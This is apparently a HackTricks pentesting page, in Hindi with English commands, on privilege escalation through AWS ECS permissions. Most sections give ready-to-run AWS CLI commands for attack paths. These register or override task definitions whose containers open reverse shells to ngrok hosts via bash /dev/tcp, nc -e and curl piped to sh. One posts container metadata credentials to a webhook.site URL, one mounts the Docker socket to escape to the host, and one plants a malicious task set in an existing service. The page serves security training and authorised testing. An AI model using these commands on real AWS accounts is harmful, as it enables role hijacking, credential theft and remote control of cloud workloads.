# AWS - ECS Privesc {{#include ../../../banners/hacktricks-training.md}} ## ECS ECS के बारे में अधिक **जानकारी**: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` एक attacker, ECS में `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` permission का दुरुपयोग करके **एक नया task definition बना** सकता है जिसमें एक **malicious container** होता है जो metadata credentials चुरा लेता है और **इसे run** कर सकता है। {{#tabs }} {{#tab name="Reverse Shell" }} ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ --network-mode "awsvpc" \ --cpu 256 --memory 512\ --requires-compatibilities "[\"FARGATE\"]" \ --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" # Run task definition aws ecs run-task --task-definition iam_exfiltration \ --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ --launch-type FARGATE \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` {{#endtab }} {{#tab name="Webhook" }} webhook.site जैसी साइट के साथ एक webhook बनाएं ```bash # Create file container-definition.json [ { "name": "exfil_creds", "image": "python:latest", "entryPoint": ["sh", "-c"], "command": [ "CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" ] } ] # Run task definition, uploading the .json file aws ecs register-task-definition \ --family iam_exfiltration \ --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ --network-mode "awsvpc" \ --cpu 256 \ --memory 512 \ --requires-compatibilities FARGATE \ --container-definitions file://container-definition.json # Check the webhook for a response # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` {{#endtab }} {{#endtabs }} **संभावित प्रभाव:** Direct privesc to a different ECS role. ### `iam:PassRole`,`ecs:RunTask` एक हमलावर जिसके पास `iam:PassRole` और `ecs:RunTask` permissions हैं, वह modified **execution role**, **task role** और container के **command** values के साथ एक नया ECS task शुरू कर सकता है। `ecs run-task` CLI command में `--overrides` flag होता है जो runtime पर `executionRoleArn`, `taskRoleArn` और container के `command` को task definition को छुए बिना बदलने की अनुमति देता है। निर्दिष्ट IAM roles (`taskRoleArn` और `executionRoleArn`) की trust policy में `ecs-tasks.amazonaws.com` द्वारा उन्हें assume करने की अनुमति/विश्वास होना चाहिए। साथ ही, हमलावर को निम्न जानकारियाँ पता होनी चाहिए: - ECS cluster name - VPC Subnet - Security group (यदि कोई security group निर्दिष्ट नहीं है तो default one उपयोग किया जाएगा) - Task Definition Name and revision - Name of the Container ```bash aws ecs run-task \ --cluster \ --launch-type FARGATE \ --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ --task-definition \ --overrides ' { "taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", "containerOverrides": [ { "name": , "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] } ] }' ``` ऊपर के कोड स्निपेट में attacker केवल `taskRoleArn` वैल्यू को ओवरराइड करता है। हालांकि, attacker के पास कमांड में निर्दिष्ट `taskRoleArn` और task definition में निर्दिष्ट `executionRoleArn` दोनों पर `iam:PassRole` परमिशन होना जरूरी है ताकि यह attack हो सके। यदि attacker द्वारा पास की जा सकने वाली IAM role में ECR image को pull करने और ECS task शुरू करने के लिए पर्याप्त privileges हैं (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) तो attacker `ecs run-task` कमांड में `executionRoleArn` और `taskRoleArn` दोनों के लिए वही IAM role निर्दिष्ट कर सकता है। ```sh aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' { "taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", "executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", "containerOverrides": [ { "name": "", "command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] } ] }' ``` **Potential Impact:** किसी भी ECS task role पर सीधे privesc। ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` पिछले उदाहरण की तरह, एक attacker जो ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions का दुरुपयोग करता है, वह **generate a new task definition** बना सकता है जिसमें एक **malicious container** हो जो metadata credentials चोरी करे और उसे **run it**।\ हालाँकि, इस मामले में, malicious task definition को चलाने के लिए एक container instance की आवश्यकता होगी। ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ --network-mode "awsvpc" \ --cpu 256 --memory 512\ --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" aws ecs start-task --task-definition iam_exfiltration \ --container-instances # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` **संभावित प्रभाव:** Direct privesc to any ECS role. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` पिछले उदाहरण की तरह, एक हमलावर जो ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** अनुमतियों का दुरुपयोग करता है, वह **generate a new task definition** बना सकता है जिसमें एक **malicious container** हो जो metadata credentials चुरा ले और **run it by creating a new service with at least 1 task running.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ --task-role-arn "$ECS_ROLE_ARN" \ --network-mode "awsvpc" \ --cpu 256 --memory 512\ --requires-compatibilities "[\"FARGATE\"]" \ --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" # Run the task creating a service aws ecs create-service --service-name exfiltration \ --task-definition iam_exfiltration \ --desired-count 1 \ --cluster "$CLUSTER_ARN" \ --launch-type FARGATE \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" # Run the task updating a service aws ecs update-service --cluster \ --service \ --task-definition ``` **संभावित प्रभाव:** Direct privesc to any ECS role. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` दरअसल, सिर्फ़ उन अनुमतियों के साथ overrides का उपयोग करके किसी container में किसी भी role के साथ arbitrary commands चलाना संभव है, कुछ इस तरह: ```bash aws ecs run-task \ --task-definition "" \ --overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` **संभावित प्रभाव:** किसी भी ECS role पर सीधे privesc। ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** यह परिदृश्य पिछले वाले जैसा है लेकिन **बिना** **`iam:PassRole`** permission के।\ यह अभी भी महत्वपूर्ण है क्योंकि यदि आप एक मनमाना container चला सकते हैं, भले ही वह role के बिना हो, तो आप **run a privileged container to escape** करके node तक पहुँच सकते हैं और **steal the EC2 IAM role** और node पर चल रहे **other ECS containers roles** चुरा सकते हैं।\ आप यहाँ तक कि उस EC2 instance में भेजकर अन्य tasks को भी मजबूर कर सकते हैं जिसे आप compromise करते हैं ताकि उनकी credentials चुरा सकें (जैसा कि [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) में चर्चा की गई है)। > [!WARNING] > यह attack सिर्फ तभी संभव है जब **ECS cluster is using EC2** instances हों और Fargate का उपयोग नहीं हो रहा हो। ```bash printf '[ { "name":"exfil_creds", "image":"python:latest", "entryPoint":["sh", "-c"], "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], "mountPoints": [ { "readOnly": false, "containerPath": "/var/run/docker.sock", "sourceVolume": "docker-socket" } ] } ]' > /tmp/task.json printf '[ { "name": "docker-socket", "host": { "sourcePath": "/var/run/docker.sock" } } ]' > /tmp/volumes.json aws ecs register-task-definition --family iam_exfiltration \ --cpu 256 --memory 512 \ --requires-compatibilities '["EC2"]' \ --container-definitions file:///tmp/task.json \ --volumes file:///tmp/volumes.json aws ecs run-task --task-definition iam_exfiltration \ --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ --launch-type EC2 # You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** जिसके पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** permissions हों, attacker running container के अंदर **execute commands** कर सकता है और उससे जुड़ा IAM role exfiltrate कर सकता है (आपको describe permissions की जरूरत होती है क्योंकि `aws ecs execute-command` चलाने के लिए यह आवश्यक है).\ हालाँकि, ऐसा करने के लिए container instance पर **ExecuteCommand agent** चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता). Therefore, the attacker cloud try to: - **हर running container में command चलाने की कोशिश करें** ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do echo "Cluster $cluster" for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do echo " Task $task" # If true, it's your lucky day aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand done done # Execute a shell in a container aws ecs execute-command --interactive \ --command "sh" \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` - यदि उसके पास **`ecs:RunTask`** है, तो `aws ecs run-task --enable-execute-command [...]` के साथ task चलाएँ - यदि उसके पास **`ecs:StartTask`** है, तो `aws ecs start-task --enable-execute-command [...]` के साथ task चलाएँ - यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ service बनाएँ - यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ service अपडेट करें आप **उन विकल्पों के उदाहरण** को **previous ECS privesc sections** में पा सकते हैं। **Potential Impact:** containers से जुड़े किसी अलग role में Privesc। ### `ssm:StartSession` जाँचें **ssm privesc page** में कि आप इस permission का दुरुपयोग कर **privesc to ECS** कैसे कर सकते हैं: {{#ref}} aws-ssm-privesc.md {{#endref}} ### `iam:PassRole`, `ec2:RunInstances` जाँचें **ec2 privesc page** में कि आप इन permissions का दुरुपयोग कर **privesc to ECS** कैसे कर सकते हैं: {{#ref}} aws-ec2-privesc.md {{#endref}} ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` इन permissions वाले हमलावर संभावित रूप से एक EC2 instance को एक ECS cluster में register कर सकते हैं और उस पर tasks चला सकते हैं। इससे हमलावर को ECS tasks के context में arbitrary code execute करने की अनुमति मिल सकती है। - TODO: क्या यह संभव है कि किसी अलग AWS account से instance register किया जाए ताकि tasks हमलावर द्वारा नियंत्रित machines पर चलें?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] > TODO: Test this इन permissions वाले हमलावर `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` के साथ **existing ECS service के लिए एक malicious task set create कर सकते हैं और primary task set को update कर सकते हैं**। इससे हमलावर को सर्विस के भीतर **arbitrary code execute करने** की अनुमति मिलती है। ```bash # Register a task definition with a reverse shell echo '{ "family": "malicious-task", "containerDefinitions": [ { "name": "malicious-container", "image": "alpine", "command": [ "sh", "-c", "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" ] } ] }' > malicious-task-definition.json aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json # Create a malicious task set for the existing service aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` **संभावित प्रभाव**: प्रभावित सेवा में Execute arbitrary code चलाया जा सकता है, जिससे इसकी कार्यक्षमता प्रभावित हो सकती है या संवेदनशील डेटा का exfiltrating हो सकता है। ## References - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) {{#include ../../../banners/hacktricks-training.md}}